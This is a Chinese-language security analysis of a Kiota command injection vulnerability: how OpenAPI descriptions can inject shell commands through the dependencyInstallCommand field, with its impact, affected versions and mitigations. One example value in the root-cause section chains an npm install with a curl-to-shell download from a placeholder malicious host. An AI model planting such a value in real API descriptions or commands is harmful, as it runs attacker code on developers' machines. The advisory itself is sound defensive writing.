🔴 【深度分析】严重安全漏洞:CVE-2026-59865

CVSS 评分: 严重(9.3)🔴  状态: Deferred  发布时间: 2026-07-16


🔍 技术细节速览

字段 值
CVE ID CVE-2026-59865
CVSS 评分 9.3 🔴
严重程度 严重
CVSS 向量 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CWE 分类 CWE-94,CWE-829
发布时间 2026-07-16
最后更新 2026-07-17
状态 Deferred
数据来源 security-advisories@github.com

CVSS 4.0 评分: 9.3 (CRITICAL)
向量: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
危害等级: 严重 (Critical)


漏洞概述

CVE-2026-59865 是一个影响 Kiota(Microsoft 开发的基于 OpenAPI 的 HTTP 客户端代码生成器)的命令注入漏洞。攻击者可以通过构造恶意的 OpenAPI 描述文件,利用 kiota info 命令的 dependencyInstallCommand 字段实现 命令注入。当用户在手动执行或通过 VS Code 扩展自动触发依赖安装流程时,恶意命令将被执行,可能导致远程代码执行(RCE)。

该漏洞的 CVSS 4.0 评分高达 9.3,属于 Critical 级别,主要原因在于:

  • 攻击向量 (AV:N): 无需网络特殊访问权限,可通过远程请求触发
  • 攻击复杂度 (AC:L): 攻击技术简单,无需特殊条件
  • 所需权限 (PR:N): 无需预先授权
  • 用户交互 (UI:N): 不需要用户显式确认,仅需使用标准操作(如 kiota info --json)
  • 机密性/完整性/可用性影响 (VC:H/VI:H/VA:H): 三项均为 High

受影响组件与版本

组件 影响版本
Kiota (Microsoft OpenAPI HTTP 客户端代码生成器) < 1.32.5
Kiota VS Code 扩展 所有依赖 kiota info 命令的旧版本

修复版本: 1.32.5(及更高版本)


漏洞原理分析

漏洞成因

Kiota 作为一个 OpenAPI 描述文件的解析与代码生成工具,支持从 OpenAPI 文档中读取 语言依赖安装信息,以自动生成并推荐用户安装特定的依赖包。

在 kiota info 命令中,Kiota 会从 OpenAPI 描述的 x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand 字段以及 dependency name、version 等字段中,提取由文档作者提供的 安装命令,并将其直接呈现给用户作为“推荐命令”。

然而,Kiota 并没有对这些来自外部 OpenAPI 文档的字段进行充分的消毒和验证。攻击者可以在 dependencyInstallCommand 字段中注入任意 shell 命令,例如:

"dependencyInstallCommand": "npm install --save @microsoft/kiota-abstractions & curl http://malicious.com/payload.sh | sh"

当用户(或 VS Code 扩展自动化流程)手动复制该命令并执行,或者通过 kiota info --json 输出自动驱动依赖安装流程时,恶意命令将被执行。

攻击向量

  1. 手动执行: 用户通过 kiota info 查看某个 OpenAPI 描述文件时,攻击者控制的文档会显示一条看似正常的安装命令,但实际上嵌入了恶意载荷。
  2. VS Code 扩展自动化: Kiota VS Code 扩展在处理 OpenAPI 文档时,会自动解析 dependencyInstallCommand 并执行依赖安装。如果扩展逻辑没有严格校验命令来源,则攻击者可以直接通过远程 API 文档触发命令注入,无需用户手动确认。

CWE 分类

CWE ID 名称 说明
CWE-94 Code Injection 攻击者能够注入并执行任意 shell 命令
CWE-829 Inclusion of Functionality from Untrusted Control Sphere 从不受信任的 OpenAPI 文档中直接引用执行逻辑

影响评估

攻击复杂度

  • 低(AC:L):攻击者仅需构造一个恶意 OpenAPI 描述文件并使其被目标用户解析。
  • 无需攻击前提(AT:N):无需绕过身份验证或 ACL。

利用条件

  • 用户或 VS Code 扩展主动解析一个 攻击者控制的 OpenAPI 描述文件(例如通过 URL 引用或下载)。
  • 用户或扩展 执行了 kiota info 命令的依赖安装建议。

潜在后果

影响项 描述
机密性 High - 攻击者可以读取本地文件系统、环境变量、SSH 密钥等敏感信息
完整性 High - 可以修改文件、植入后门、篡改代码库
可用性 High - 可以删除文件、停止服务、植入勒索软件
横向移动 可能利用获取的凭证进行内部网络横向攻击

综合评估: 该漏洞的 实际威胁极高,因为攻击者只需诱使用户解析一个恶意的 OpenAPI 文档(例如通过 GitHub 仓库、API 文档链接等常见途径),即可获得 完全的系统控制权限。


修复建议

官方修复

  • 升级 Kiota 至 1.32.5 或更高版本。官方在 1.32.5 版本中严格过滤了来自 OpenAPI 文档的 dependencyInstallCommand,防止命令注入。

临时缓解措施

如果暂时无法升级,可采用以下措施:

  1. 手动审查命令: 在手动执行 kiota info 返回的安装命令之前,仔细检查命令内容,避免运行包含 &、|、;、$() 等特殊字符的可疑命令。
  2. 禁用自动执行: 在 Kiota VS Code 扩展中,关闭自动依赖安装功能,改为手动确认。
  3. 使用可信源: 仅解析来自 受信任发布者 的 OpenAPI 描述文件,避免使用来源不明的第三方文档。
  4. 沙箱/容器运行: 在虚拟化或容器化环境中运行 Kiota,限制命令注入造成的损害。

参考资料

来源 链接
GitHub Security Advisory 待确认(通常由 security-advisories@github.com 发布)
NVD 页面 https://nvd.nist.gov/vuln/detail/CVE-2026-59865
CWE-94 https://cwe.mitre.org/data/definitions/94.html
CWE-829 https://cwe.mitre.org/data/definitions/829.html
Kiota 官方仓库 https://github.com/microsoft/kiota

结论

CVE-2026-59865 是一个 严重命令注入漏洞,攻击者可以通过构建恶意的 OpenAPI 描述文件,在不经用户充分确认的情况下,在目标系统上执行任意命令。该漏洞的 CVSS 4.0 评分高达 9.3,结合其利用低复杂度与高影响,强烈建议所有 Kiota 用户立即升级至 1.32.5 或更高版本,并在升级前采取必要的临时缓解措施。